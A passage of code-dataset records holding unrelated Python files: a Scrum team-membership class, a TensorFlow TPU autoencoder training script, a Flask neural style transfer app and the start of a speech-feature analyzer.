checkTypeUsername = type(username) == str\n checkTypeRol = type(rol) == str\n checkTypeId = type(idBacklog) == int\n \n if checkTypeUsername and checkTypeRol and checkTypeId:\n checkLongName = CONST_MIN_NAME_USERNAME <= len(username) <= CONST_MAX_NAME_USERNAME\n checkLongRol = CONST_MIN_ROL <= len(rol) <= CONST_MAX_ROL\n checkLongId = CONST_MIN_ID <= idBacklog \n \n \n if checkLongName and checkLongRol:\n foundBacklog = clsBacklog.query.filter_by(BL_idBacklog = idBacklog).all()\n \n \n if foundBacklog != [] or idBacklog == 0:\n foundUser = clsUser.query.filter_by(U_username = username).all()\n \n\n if foundUser != []:\n foundMiembro = clsEquipo.query.filter_by(EQ_username = username, EQ_idBacklog = idBacklog).all() \n \n if foundMiembro == []:\n newMiembro = clsEquipo(username, rol, idBacklog)\n db.session.add(newMiembro)\n db.session.commit()\n return True\n\n if foundMiembro[0].EQ_rol != rol:\n self.deleteMiembro(username,foundMiembro[0].EQ_rol,idBacklog)\n newMiembro = clsEquipo(username, rol, idBacklog)\n db.session.add(newMiembro)\n db.session.commit()\n return True\n\n return False\n\n def actualizar(self,lista,idBacklog):\n '''Permite actualizar la tabla equipo'''\n users = []\n for elem in lista:\n users += elem['miembro']\n\n checkTypeId = type(idBacklog) == int\n \n if checkTypeId:\n checkLongId = CONST_MIN_ID <= idBacklog \n \n if checkLongId:\n foundBacklog = clsBacklog.query.filter_by(BL_idBacklog = idBacklog).all()\n \n \n if foundBacklog != [] or idBacklog == 0:\n miembros = clsEquipo.query.filter_by(EQ_idBacklog = idBacklog).all()\n\n if self.verifyScrumMaster(lista):\n for miembro in miembros:\n if miembro.EQ_username not in users:\n self.deleteMiembro(miembro.EQ_username, miembro.EQ_rol, idBacklog)\n\n for user in lista:\n username = user['miembro']\n self.insertMiembro(username,user['rol'],idBacklog)\n return True\n return False\n\n# Fin Clase Team","sub_path":"app/scrum/Team.py","file_name":"Team.py","file_ext":"py","file_size_in_byte":5242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"628845378","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nimport sys\nimport pandas as pd\nimport numpy as np\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.externals import joblib\nimport hyperopt\nfrom hyperopt import hp, fmin, tpe, rand\nimport time\nimport datetime\nimport random\nimport math\nimport cStringIO\nimport argparse\n\nimport tensorflow as tf\nfrom google.cloud import storage\n#from estimator import AutoEncoder\nfrom tensorflow.contrib import tpu\nfrom tensorflow.contrib.cluster_resolver import TPUClusterResolver\nfrom tensorflow.contrib.tpu.python.tpu import tpu_config\nfrom tensorflow.contrib.tpu.python.tpu import tpu_estimator\nfrom tensorflow.contrib.tpu.python.tpu import tpu_optimizer\nfrom tensorflow.python.feature_column import feature_column\n\ndef axy_computation(a, x, y):\n return a * x + y\n\ninputs = [\n 3.0,\n tf.random_uniform([3, 3], 0, 1, tf.float32),\n tf.random_uniform([3, 3], 0, 1, tf.float32),\n]\ntpu_computation = tpu.rewrite(axy_computation, inputs)\n\ntpu_cluster_resolver = TPUClusterResolver([os.environ['TPU_NAME']], zone=os.environ['TPU_ZONE'], project=os.environ['GCE_PROJECT_NAME'])\ntpu_grpc_url = tpu_cluster_resolver.get_master()\n\nwith tf.Session(tpu_grpc_url) as sess:\n print('Initializing TPU...')\n sess.run(tpu.initialize_system())\n print('Initializing global variables...')\n sess.run(tf.global_variables_initializer())\n print('Executing TPU operation...')\n output = sess.run(tpu_computation)\n print(output)\n print('Shutting down TPU...')\n sess.run(tpu.shutdown_system())\n print('TPU is running OK!')\n\n\norderN = 104\ndataRoot = os.environ['DATA_ROOT_FOLDER']\nlistLoss = list()\n\ndef _int64_feature(value):\n return tf.train.Feature(int64_list=tf.train.Int64List(value=[value]))\n\ndef _float32_feature(value):\n return tf.train.Feature(float_list=tf.train.FloatList(value=value))\n\ndef _bytes_feature(value):\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))\n\ndef convert_to_tfrecord():\n dataRoot = 'RAW_DATA_ROOT_FOLDER'\n \n with tf.python_io.TFRecordWriter(dataRoot + \"train_rand.tfrecords\") as tfRecordWriter:\n for aFileName in os.listdir(dataRoot + 'train_rand/'):\n df = pd.read_csv(dataRoot + 'train_rand/' + aFileName)\n featureNames = list(df)\n for idxRow, aRow in df.iterrows():\n features, label = aRow[3:len(featureNames)], aRow[2]\n theExample = tf.train.Example()\n theExample.features.feature[\"features\"].float_list.value.extend(features)\n theExample.features.feature[\"label\"].float_list.value.append(label)\n tfRecordWriter.write(theExample.SerializeToString())\n #tfRecordWriter.close() \n\n with tf.python_io.TFRecordWriter(dataRoot + \"validation_rand.tfrecords\") as tfRecordWriter:\n for aFileName in os.listdir(dataRoot + 'validation_rand/'):\n df = pd.read_csv(dataRoot + 'validation_rand/' + aFileName)\n featureNames = list(df)\n for idxRow, aRow in df.iterrows():\n features, label = aRow[3:len(featureNames)], aRow[2]\n theExample = tf.train.Example()\n theExample.features.feature[\"features\"].float_list.value.extend(features)\n theExample.features.feature[\"label\"].float_list.value.append(label)\n tfRecordWriter.write(theExample.SerializeToString())\n #tfRecordWriter.close() \n \n#Run separately\n#convert_to_tfrecord()\nprint('Data converted to TFRecords.')\n\n\ndef weight_variable(shape):\n fan_in = shape[0]\n fan_out = shape[1]\n const = 1\n low = -const * np.sqrt(6.0 / (fan_in + fan_out))\n high = const * np.sqrt(6.0 / (fan_in + fan_out))\n initial = tf.random_uniform([fan_in, fan_out], minval=low, maxval=high, dtype=tf.float32)\n return tf.Variable(initial, trainable=True)\n\ndef bias_variable(shape):\n initial = tf.zeros(shape=shape, dtype=tf.float32)\n return tf.Variable(initial, trainable=True)\n\ndef get_batch(batch_size, x):\n a = np.random.choice(len(x), batch_size)\n return x[a]\n\ndef get_batch_2(batch_size, x, y):\n a = np.random.choice(len(x), batch_size)\n return x[a], y[a]\n\ndef add_noise(x, noise=0.1):\n n = np.random.normal(0, noise, (len(x), len(x[0])))\n return x + n\n\ndef batch_norm(data, hidden_dim, phase_train):\n shift = tf.get_variable('shift', initializer=np.zeros(hidden_dim).astype('float32'))\n scale = tf.get_variable('scale', initializer=np.ones(hidden_dim).astype('float32'))\n batch_mean, batch_var = tf.nn.moments(data, [0])\n ema = tf.train.ExponentialMovingAverage(decay=0.999)\n mean = ema.average(batch_mean) \n var = ema.average(batch_var) \n bn = tf.nn.batch_normalization(data, 0.0, 0.1, shift, scale, 1e-5)\n return bn\n\n\ndef ai_taxi_metric_fn(labels, logits):\n \"\"\"Evaluation metric Fn which runs on CPU.\"\"\"\n predictions = tf.argmax(logits, 1)\n return {\n \"accuracy\": tf.metrics.precision(\n labels=labels, predictions=predictions),\n }\n\ndef getFeatureColumns():\n feature_columns = {}\n\n feature_columns = {'F{0:03d}'.format(ii): tf.feature_column.numeric_column('F{0:03d}'.format(ii))\n for ii in range(orderN) }\n \n return feature_columns\n\ndef ai_taxi_model_fn(features, labels, mode, params):\n if mode == tf.estimator.ModeKeys.PREDICT:\n raise RuntimeError(\"mode {} is not supported yet\".format(mode))\n\n hidden_dim_1 = params[1]\n hidden_dim_2 = params[2]\n hidden_dim_3 = params[3]\n hidden_dim_4 = params[4]\n noise = params[5]\n lambda_2 = params[6]\n batch_size0 = int(params[0]/num_shards)\n last_input_dim = hidden_dim_4\n #learning_rate = tf.train.exponential_decay(0.05,\n # tf.train.get_global_step(), 100000,\n # 0.96)\n learning_rate = initial_learning_rate\n\n feature_columns = list(getFeatureColumns().values())\n dense_columns = list(\n filter(lambda column: isinstance(column, feature_column._NumericColumn), feature_columns)\n )\n input_layer = tf.feature_column.input_layer(features=features, feature_columns=dense_columns)\n\n keep_prob = 1.0\n phase_train = tf.constant(False, dtype=tf.bool) \n if mode == tf.estimator.ModeKeys.TRAIN:\n keep_prob = 0.5\n phase_train = tf.constant(True, dtype=tf.bool)\n else:\n keep_prob = 1.0\n phase_train = tf.constant(False, dtype=tf.bool)\n \n w_ae1 = tf.get_variable('w_ae1',\n initializer=np.random.rand(input_dim, hidden_dim_1).astype('float32'))\n b_ae1 = tf.get_variable('b_ae1',\n initializer=np.zeros(hidden_dim_1, dtype='float32') )\n dc_ae1 = tf.nn.bias_add(tf.matmul(tf.reshape(input_layer, [batch_size0, orderN]), w_ae1), b_ae1)\n bn_ae1 = tf.layers.batch_normalization(dc_ae1, training=phase_train) \n h_ae1 = tf.nn.relu(bn_ae1)\n h_drop_ae1 = tf.nn.dropout(h_ae1, keep_prob)\n\n w_ae1_ = tf.transpose(w_ae1)\n b_ae1_ = tf.get_variable('b_ae1_',\n initializer=np.zeros(input_dim, dtype='float32') )\n x_ae1_ = tf.nn.relu(tf.nn.bias_add(tf.matmul(h_drop_ae1, w_ae1_), b_ae1_))\n weight_decay_ae1 = tf.nn.l2_loss(w_ae1)\n\n noise_x_out_ae1 = tf.random_normal(shape=tf.shape(input_layer), mean=0.0, stddev=noise, dtype=tf.float32) \n x_out_ae1 = tf.add(input_layer, noise_x_out_ae1)\n loss_ae1 = tf.reduce_mean(tf.square(tf.subtract(input_layer, x_out_ae1))) + lambda_2 * weight_decay_ae1\n train_step_ae1 = tpu_optimizer.CrossShardOptimizer(tf.train.AdamOptimizer(learning_rate)).minimize(loss_ae1)\n\n x_in_ae2 = tf.nn.dropout(h_ae1, 1.0)\n w_ae2 = tf.get_variable('w_ae2', \n initializer=np.random.rand(hidden_dim_1, hidden_dim_2).astype('float32') )\n b_ae2 = tf.get_variable('b_ae2',\n initializer=np.zeros(hidden_dim_2, dtype='float32') )\n dc_ae2 = tf.nn.bias_add(tf.matmul(x_in_ae2, w_ae2), b_ae2)\n bn_ae2 = tf.layers.batch_normalization(dc_ae2, training=phase_train)\n h_ae2 = tf.nn.relu(bn_ae2)\n h_drop_ae2 = tf.nn.dropout(h_ae2, keep_prob)\n\n w_ae2_ = tf.transpose(w_ae2)\n b_ae2_= tf.get_variable('b_ae2_',\n initializer=np.zeros(hidden_dim_1, dtype='float32') )\n x_ae2_ = tf.nn.relu(tf.nn.bias_add(tf.matmul(h_drop_ae2, w_ae2_), b_ae2_))\n weight_decay_ae2 = tf.nn.l2_loss(w_ae2)\n\n noise_x_out_ae2 = tf.random_normal(shape=tf.shape(x_in_ae2), mean=0.0, stddev=noise, dtype=tf.float32) \n x_out_ae2 = tf.add(x_in_ae2, noise_x_out_ae2)\n loss_ae2 = tf.reduce_mean(tf.square(tf.subtract(x_in_ae2, x_out_ae2))) + lambda_2 * weight_decay_ae2\n train_step_ae2 = tpu_optimizer.CrossShardOptimizer(tf.train.AdamOptimizer(learning_rate)).minimize(loss_ae2) \n \n x_in_ae3 = tf.nn.dropout(h_ae2, 1.0)\n w_ae3 = tf.get_variable('w_ae3', \n initializer=np.random.rand(hidden_dim_2, hidden_dim_3).astype('float32') )\n b_ae3 = tf.get_variable('b_ae3',\n initializer=np.zeros(hidden_dim_3, dtype='float32') )\n dc_ae3 = tf.nn.bias_add(tf.matmul(x_in_ae3, w_ae3), b_ae3)\n bn_ae3 = tf.layers.batch_normalization(dc_ae3, training=phase_train)\n h_ae3 = tf.nn.relu(bn_ae3)\n h_drop_ae3 = tf.nn.dropout(h_ae3, keep_prob)\n\n w_ae3_ = tf.transpose(w_ae3)\n b_ae3_= tf.get_variable('b_ae3_',\n initializer=np.zeros(hidden_dim_2, dtype='float32') )\n x_ae3_ = tf.nn.relu(tf.nn.bias_add(tf.matmul(h_drop_ae3, w_ae3_), b_ae3_))\n weight_decay_ae3 = tf.nn.l2_loss(w_ae3)\n\n noise_x_out_ae3 = tf.random_normal(shape=tf.shape(x_in_ae3), mean=0.0, stddev=noise, dtype=tf.float32) \n x_out_ae3 = tf.add(x_in_ae3, noise_x_out_ae3)\n loss_ae3 = tf.reduce_mean(tf.square(tf.subtract(x_ae3_, x_out_ae3))) + lambda_2 * weight_decay_ae3\n train_step_ae3 = tpu_optimizer.CrossShardOptimizer(tf.train.AdamOptimizer(learning_rate)).minimize(loss_ae3)\n\n x_in_ae4 = tf.nn.dropout(h_ae3, 1.0)\n w_ae4 = tf.get_variable('w_ae4', \n initializer=np.random.rand(hidden_dim_3, hidden_dim_4).astype('float32') )\n b_ae4 = tf.get_variable('b_ae4',\n initializer=np.zeros(hidden_dim_4, dtype='float32') )\n dc_ae4 = tf.nn.bias_add(tf.matmul(x_in_ae4, w_ae4), b_ae4)\n bn_ae4 = tf.layers.batch_normalization(dc_ae4, training=phase_train)\n h_ae4 = tf.nn.relu(bn_ae4)\n h_drop_ae4 = tf.nn.dropout(h_ae4, keep_prob)\n\n w_ae4_ = tf.transpose(w_ae4)\n b_ae4_= tf.get_variable('b_ae4_',\n initializer=np.zeros(hidden_dim_3, dtype='float32') )\n x_ae4_ = tf.nn.relu(tf.nn.bias_add(tf.matmul(h_drop_ae4, w_ae4_), b_ae4_))\n\n noise_x_out_ae4 = tf.random_normal(shape=tf.shape(x_in_ae4), mean=0.0, stddev=noise, dtype=tf.float32) \n x_out_ae4 = tf.add(x_in_ae4, noise_x_out_ae4)\n weight_decay_ae4 = tf.nn.l2_loss(w_ae4)\n loss_ae4 = tf.reduce_mean(tf.square(tf.subtract(x_ae4_, x_out_ae4))) + lambda_2 * weight_decay_ae4\n train_step_ae4 = tpu_optimizer.CrossShardOptimizer(tf.train.AdamOptimizer(learning_rate)).minimize(loss_ae4)\n\n dc1 = tf.nn.bias_add(tf.matmul(tf.reshape(input_layer, [batch_size0, orderN]), w_ae1), b_ae1)\n bn1 = tf.layers.batch_normalization(dc1, training=phase_train) \n h1 = tf.nn.relu(bn1)\n h1_drop = tf.nn.dropout(h1, keep_prob)\n\n dc2 = tf.nn.bias_add(tf.matmul(h1_drop, w_ae2), b_ae2)\n bn2 = tf.layers.batch_normalization(dc2, training=phase_train) \n h2 = tf.nn.relu(bn2)\n h2_drop = tf.nn.dropout(h2, keep_prob)\n\n dc3 = tf.nn.bias_add(tf.matmul(h2_drop, w_ae3), b_ae3)\n bn3 = tf.layers.batch_normalization(dc3, training=phase_train)\n h3 = tf.nn.relu(bn3)\n h3_drop = tf.nn.dropout(h3, keep_prob)\n\n dc4 = tf.nn.bias_add(tf.matmul(h3_drop, w_ae4), b_ae4)\n bn4 = tf.layers.batch_normalization(dc4, training=phase_train) \n h4 = tf.nn.relu(bn4)\n h4_drop = tf.nn.dropout(h4, keep_prob)\n\n w = tf.get_variable('w', \n initializer=np.random.rand(last_input_dim, output_dim).astype('float32') )\n b = tf.get_variable('b',\n initializer=np.zeros(output_dim, dtype='float32') )\n dc = tf.nn.bias_add(tf.matmul(h4_drop, w), b)\n bn = tf.layers.batch_normalization(dc, training=phase_train)\n h = tf.nn.relu(bn)\n h_drop = tf.nn.dropout(h, keep_prob)\n\n weight_decay = tf.nn.l2_loss(w) + tf.nn.l2_loss(w_ae1) + tf.nn.l2_loss(w_ae2) + tf.nn.l2_loss(w_ae3) + tf.nn.l2_loss(w_ae4)\n loss = tf.reduce_mean(tf.square(tf.subtract(h_drop, labels))) + lambda_2 * weight_decay\n #loss = (loss_ae1 + loss_ae2 + loss_ae3 + loss_ae4 + loss) * 0.2\n train_step = tpu_optimizer.CrossShardOptimizer(tf.train.AdamOptimizer(learning_rate)).minimize(loss)\n\n if mode == tf.estimator.ModeKeys.EVAL:\n return tpu_estimator.TPUEstimatorSpec(\n mode=mode,\n loss=loss,\n eval_metric_ops={'accuracy':tf.metrics.accuracy(labels=labels, predictions=h_drop),}\n )\n\n optimizer = tpu_optimizer.CrossShardOptimizer(\n tf.train.AdamOptimizer(learning_rate) )\n train_op_ft = optimizer.minimize(loss, global_step=tf.train.get_global_step())\n train_op = tf.group(train_step_ae1, train_step_ae2, train_step_ae3, train_step_ae4, train_op_ft)\n return tpu_estimator.TPUEstimatorSpec(mode=mode, \n loss=loss, \n train_op=train_op)\n\ndef ai_taxi_get_input_fn(filename):\n\n def input_fn(params):\n batch_size = params[0]\n \n def parse_tf_example(protoExample):\n features = {}\n\n for ii in range(orderN):\n features['F{:03d}'.format(ii)] = tf.FixedLenFeature(shape=(1), dtype=tf.float32)\n features['L{:03d}'.format(0)] = tf.FixedLenFeature(shape=(1), dtype=tf.float32)\n allFeatures = tf.parse_example(serialized=protoExample, features=features)\n label = allFeatures.pop('L000')\n\n return allFeatures, label\n\n def process_feature(features):\n\n return features\n \n dataset = tf.data.TFRecordDataset(filename, buffer_size=None)\n dataset = dataset.apply(tf.contrib.data.batch_and_drop_remainder(batch_size))\n #dataset = dataset.batch(batch_size)\n dataset = dataset.map(lambda serializedExample: parse_tf_example(serializedExample))\n dataset = dataset.map(lambda features, label: (process_feature(features), label))\n dataset = dataset.repeat()\n #dataset = dataset.cache().repeat()\n \n features, label = dataset.make_one_shot_iterator().get_next()\n\n return features, label\n\n return input_fn\n\ndef objective(args):\n \n loss = float(\"inf\")\n model_dir = os.path.join('{}/tmp'.format(dataRoot), '{0:05d}'.format(len(listLoss)+1) ) + \"/\"\n\n params = dict()\n params[1] = int(args['hidden_dim_1'])\n params[2] = int(args['hidden_dim_2'])\n params[3] = int(args['hidden_dim_3'])\n params[4] = int(args['hidden_dim_4'])\n params[0] = int(args['batch_size'])\n params[5] = args['noise']\n params[6] = args['lambda_2']\n \n model_function = ai_taxi_model_fn\n batch_size = params[0]\n \n run_config = tpu_config.RunConfig(\n master=tpu_grpc_url,\n evaluation_master=tpu_grpc_url,\n model_dir=model_dir,\n session_config=tf.ConfigProto(\n allow_soft_placement=True, log_device_placement=True),\n tpu_config=tpu_config.TPUConfig(iterations, num_shards),)\n\n estimator = tpu_estimator.TPUEstimator(\n model_fn=ai_taxi_model_fn,\n use_tpu=True,\n params=params,\n train_batch_size=batch_size,\n eval_batch_size=batch_size,\n config=run_config)\n\n estimator.train(input_fn=ai_taxi_get_input_fn(train_file), max_steps=train_steps)\n\n if eval_steps:\n loss = estimator.evaluate(input_fn=ai_taxi_get_input_fn(eval_file), steps=eval_steps)['loss']\n\n listLoss.append(loss)\n return loss\n\n\nos.system('gsutil -m rm -r {}/tmp/*'.format(dataRoot))\n\nprint(\"Start training at...%s\" % time.strftime(\"%Y-%m-%d %H:%M:%S %Z\"))\nstartTime = time.time()\n\ntpu_cluster_resolver = TPUClusterResolver([os.environ['TPU_NAME']], zone=os.environ['TPU_ZONE'], project=os.environ['GCE_PROJECT_NAME'])\ntpu_grpc_url = tpu_cluster_resolver.get_master()\n\nbatch_size = 2048\ntrain_file = os.path.join('{}/dataset'.format(dataRoot), \"train.tfrecords\")\ntrain_steps = 2000000\n\neval_file = os.path.join('{}/dataset'.format(dataRoot), \"validation.tfrecords\")\neval_steps = 0\n\niterations = 1000000\nnum_shards = 8\n \ntf.logging.set_verbosity(tf.logging.INFO)\n\ninput_dim = orderN\noutput_dim = 1\ninitial_learning_rate = 0.01\n\n#space = {\n# 'hidden_dim_1': hp.uniform('hidden_dim_1', 10, 1000),\n# 'hidden_dim_2': hp.uniform('hidden_dim_2', 10, 1000),\n# 'hidden_dim_3': hp.uniform('hidden_dim_3', 10, 1000),\n# 'hidden_dim_4': hp.uniform('hidden_dim_4', 10, 1000),\n# 'batch_size': hp.choice('batch_size', [batch_size]),\n# 'lambda_2': hp.uniform('lambda_2', 0.005, 0.02),\n# 'noise': hp.uniform('noise', 0, 0.2)\n#}\n\nnumberOfNode = 2000\nspace = {\n 'hidden_dim_1': hp.choice('hidden_dim_1', [numberOfNode]),\n 'hidden_dim_2': hp.choice('hidden_dim_2', [numberOfNode]),\n 'hidden_dim_3': hp.choice('hidden_dim_3', [numberOfNode]),\n 'hidden_dim_4': hp.choice('hidden_dim_4', [numberOfNode]),\n 'batch_size': hp.choice('batch_size', [batch_size]),\n 'lambda_2': hp.choice('lambda_2', [0.01]),\n 'noise': hp.choice('noise', [0.1])\n}\n\nmaxTrials = 1\nminLoss = fmin(objective, space, algo=tpe.suggest, max_evals=maxTrials)\n\nprint(\"Done training at %s\" % time.strftime(\"%Y-%m-%d %H:%M:%S %Z\"))\nendTime = time.time()\nprint('Elapsed time: %.1f seconds' % (endTime - startTime))\n\nfor ii in range(maxTrials):\n print(\"%.4f\" % (listLoss[ii]))\nprint(minLoss)\n\n","sub_path":"tpu/runTPUEstimator.py","file_name":"runTPUEstimator.py","file_ext":"py","file_size_in_byte":17542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"48725996","text":"from flask import Flask,render_template, request\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route('/')\r\ndef hello_world():\r\n return render_template(\"index_neural.html\")\r\n\r\n@app.route('/predict', methods=['GET', 'POST'])\r\ndef predict_f():\r\n form=request.form\r\n if \"style1\" in form:\r\n res=\"style1\"\r\n\r\n if \"style2\" in form:\r\n res=\"style2\"\r\n\r\n if \"style3\" in form:\r\n res=\"style3\"\r\n\r\n if \"style4\" in form:\r\n res=\"style4\"\r\n\r\n f = request.files['photo']\r\n f.save('./static/img000.jpg')\r\n \r\n v=neural_style_transfer('./static/img000.jpg', './static/'+res+'.jpg')\r\n result=v.predict()\r\n \r\n \r\n return render_template(\"result.html\",img='./static/img000.jpg', style='./static/'+res+'.jpg', result=result)\r\n\r\n\r\nfrom keras.preprocessing.image import load_img, img_to_array\r\nimport numpy as np\r\nfrom keras.applications import vgg19\r\nfrom keras import backend as K\r\nfrom scipy.optimize import fmin_l_bfgs_b\r\nfrom scipy.misc import imsave\r\nimport time\r\n#from matplotlib import pyplot as plt\r\n\r\nclass neural_style_transfer():\r\n def __init__(self,target_image_path,style_refrence_image_path):\r\n self.target_image_path=target_image_path\r\n self.style_refrence_image_path=style_refrence_image_path\r\n \r\n \r\n def preprocess_image(self,image_path):\r\n img = load_img(image_path, target_size=(self.img_height, self.img_width))\r\n img = img_to_array(img)\r\n img = np.expand_dims(img, axis=0)\r\n img = vgg19.preprocess_input(img)\r\n return img\r\n \r\n def deprocess_image(self,x):\r\n # Remove zero-center by mean pixel\r\n x[:, :, 0] += 103.939\r\n x[:, :, 1] += 116.779\r\n x[:, :, 2] += 123.68\r\n # 'BGR'->'RGB'\r\n x = x[:, :, ::-1]\r\n x = np.clip(x, 0, 255).astype('uint8')\r\n return x\r\n \r\n def content_loss(self,base, combination):\r\n return K.sum(K.square(combination - base))\r\n\r\n#style loss\r\n def gram_matrix(self,x):\r\n features = K.batch_flatten(K.permute_dimensions(x, (2,0,1)))\r\n gram = K.dot(features, K.transpose(features))\r\n return gram\r\n\r\n def style_loss(self, style, combination):\r\n S = self.gram_matrix(style)\r\n C = self.gram_matrix(combination)\r\n channels = 3\r\n size = self.img_height * self.img_width\r\n return K.sum(K.square(S-C)) / (4. * (channels ** 2) * (size **2))\r\n\r\n #total variation loss\r\n def total_variation_loss(self,x):\r\n a = K.square(x[:, :self.img_height - 1, :self.img_width - 1, :] - x[:, 1:, :self.img_width - 1, :])\r\n b = K.square(x[:, :self.img_height - 1, :self.img_width - 1, :] - x[:, :self.img_height - 1, 1:, :])\r\n return K.sum(K.pow(a+b, 1.25))\r\n \r\n def predict(self):\r\n width, height= load_img(self.target_image_path).size\r\n self.img_height = 400\r\n self.img_width= int(width * self.img_height/height)\r\n target_image=K.constant(self.preprocess_image(self.target_image_path))\r\n style_refrence_image=K.constant(self.preprocess_image(self.style_refrence_image_path))\r\n combination_image=K.placeholder((1, self.img_height, self.img_width, 3))\r\n input_tensor=K.concatenate([target_image, style_refrence_image, combination_image], axis=0)\r\n model= vgg19.VGG19(input_tensor=input_tensor,weights='imagenet',include_top=False)\r\n print('Model Loaded')\r\n # Dict mapping layer names to activation tensors\r\n outputs_dict = dict([(layer.name, layer.output) for layer in model.layers])\r\n # Name of layer used for content loss\r\n content_layer = 'block5_conv2'\r\n # Name of layers used for style loss\r\n style_layers = ['block1_conv1',\r\n 'block2_conv1',\r\n 'block3_conv1',\r\n 'block4_conv1',\r\n 'block5_conv1']\r\n # Weights in the weighted average of the loss components\r\n total_variation_weight = 1e-4\r\n style_weight = 1.\r\n content_weight = 0.025\r\n\r\n # Define the loss by adding all components to a `loss` variable\r\n loss = K.variable(0.)\r\n layer_features = outputs_dict[content_layer]\r\n target_image_features = layer_features[0, :, :, :]\r\n combination_features = layer_features[2, :, :, :]\r\n loss += content_weight * self.content_loss(target_image_features,\r\n combination_features)\r\n for layer_name in style_layers:\r\n layer_features = outputs_dict[layer_name]\r\n style_reference_features = layer_features[1, :, :, :]\r\n combination_features = layer_features[2, :, :, :]\r\n sl = self.style_loss(style_reference_features, combination_features)\r\n loss += (style_weight / len(style_layers)) * sl\r\n loss += total_variation_weight * self.total_variation_loss(combination_image)\r\n\r\n # Get the gradients of the generated image wrt the loss\r\n grads = K.gradients(loss, combination_image)[0]\r\n\r\n # Function to fetch the values of the current loss and the current gradients\r\n self.fetch_loss_and_grads = K.function([combination_image], [loss, grads])\r\n evaluator = Evaluator(self.img_height, self.img_width,self.fetch_loss_and_grads)\r\n\r\n result_prefix = './static/style_transfer_result'\r\n iterations = 2\r\n\r\n # Run scipy-based optimization (L-BFGS) over the pixels of the generated image\r\n # so as to minimize the neural style loss.\r\n # This is our initial state: the target image.\r\n # Note that `scipy.optimize.fmin_l_bfgs_b` can only process flat vectors.\r\n x = self.preprocess_image(self.target_image_path)\r\n x = x.flatten()\r\n for i in range(iterations):\r\n print('Start of iteration', i)\r\n start_time = time.time()\r\n x, min_val, info = fmin_l_bfgs_b(evaluator.loss, x,\r\n fprime=evaluator.grads, maxfun=20)\r\n print('Current loss value:', min_val)\r\n # Save current generated image\r\n img = x.copy().reshape((self.img_height, self.img_width, 3))\r\n img = self.deprocess_image(img)\r\n fname = result_prefix + '_at_iteration_%d.png' % i\r\n imsave(fname, img)\r\n end_time = time.time()\r\n print('Image saved as', fname)\r\n print('Iteration %d completed in %ds' % (i, end_time - start_time))\r\n \r\n return fname\r\n \r\n \r\n \r\n \r\n##_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-## \r\n## remove when flask\r\n\r\n# plt.imshow(load_img(self.target_image_path, target_size=(self.img_height, self.img_width)))\r\n# plt.figure()\r\n\r\n# # Style image\r\n# plt.imshow(load_img('01.jpg', target_size=(self.img_height, self.img_width)))\r\n# plt.figure()\r\n#\r\n# # Generate image\r\n# plt.imshow(img)\r\n# plt.show()\r\n\r\n\r\n##_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-## \r\n\r\n\r\n\r\n\r\nclass Evaluator(object):\r\n\r\n def __init__(self,img_height,img_width,fetch_loss_and_grads):\r\n self.loss_value = None\r\n self.grads_values = None\r\n self.img_height=img_height\r\n self.img_width=img_width\r\n self.fetch_loss_and_grads=fetch_loss_and_grads\r\n \r\n\r\n def loss(self, x):\r\n assert self.loss_value is None\r\n x = x.reshape((1, self.img_height, self.img_width, 3))\r\n outs = self.fetch_loss_and_grads([x])\r\n loss_value = outs[0]\r\n grad_values = outs[1].flatten().astype('float64')\r\n self.loss_value = loss_value\r\n self.grad_values = grad_values\r\n return self.loss_value\r\n\r\n def grads(self, x):\r\n assert self.loss_value is not None\r\n grad_values = np.copy(self.grad_values)\r\n self.loss_value = None\r\n self.grad_values = None\r\n return grad_values\r\n\r\nif __name__ == \"__main__\":\r\n app.run()\r\n","sub_path":"app3.py","file_name":"app3.py","file_ext":"py","file_size_in_byte":7747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"372448369","text":"#\n# Created on Apr 23, 2019\n#\n# @author: Julian Fortune\n# @Description: Interface for extracting feature arrays.\n#\n\nimport os, glob, sys # file io\nimport time\nimport numpy as np\nimport pandas as pd\nfrom datetime import datetime\n\nimport pyaudio # microphone io\nimport wavio # microphone decoding\nimport threading # Background processing\nimport multiprocessing\n\nimport csv\n\nfrom speechLibrary import featureModule, audioModule\n\nnp.set_printoptions(threshold=sys.maxsize)\n\nDEBUG = False\n\nFEATURE_NAMES = [\"meanIntensity\", \"stDevIntensity\", \"meanPitch\", \"stDevPitch\", \"meanVoiceActivity\", \"stDevVoiceActivity\", \"syllablesPerSecond\", \"filledPauses\"]\n\n# | A class used to perfom the same analysis on any number of files or on\n# | live input. Handles file and microphone IO in order to manage the entire\n# | process.\nclass SpeechAnalyzer:\n\n def __init__(self):\n self.printStatus = True\n\n # Audio processing parameters\n self.removeDCOffsetFromAudio = True\n\n # Windowing parameters\n self.stepSize = 1 # Time interval between extracting features, in seconds.\n self.lookBackSize = 30 # Time interval to examine looking backward for features, in seconds.\n\n # Parameters for all features\n self.features = [\"meanIntensity\", \"stDevIntensity\", \"meanPitch\", \"stDevPitch\", \"stDevVoiceActivity\", \"meanVoiceActivity\", \"syllablesPerSecond\", \"filledPauses\"]\n self.featureStepSize = 10 # Step size for all features, in milliseconds.\n self.energyThresholdRatio = 4\n\n self.voiceActivityMaskBufferSize = 100 # In milliseconds\n\n self.maskEnergyWithVoiceActivity = False\n self.maskPitchWIthVoiceActivity = True\n self.maskSyllablesWithVoiceActivity = True\n self.maskFilledPausesWithVoiceActivity = False\n\n # Energy parameters\n self.energyWindowSize = 50\n\n # Pitch parameters\n self.pitchMinimumRunLength = 4\n\n # Voice activity Parameters\n self.voiceActivityIsAdaptive = True\n self.voiceActivityWindowSize = 50 # In milliseconds\n 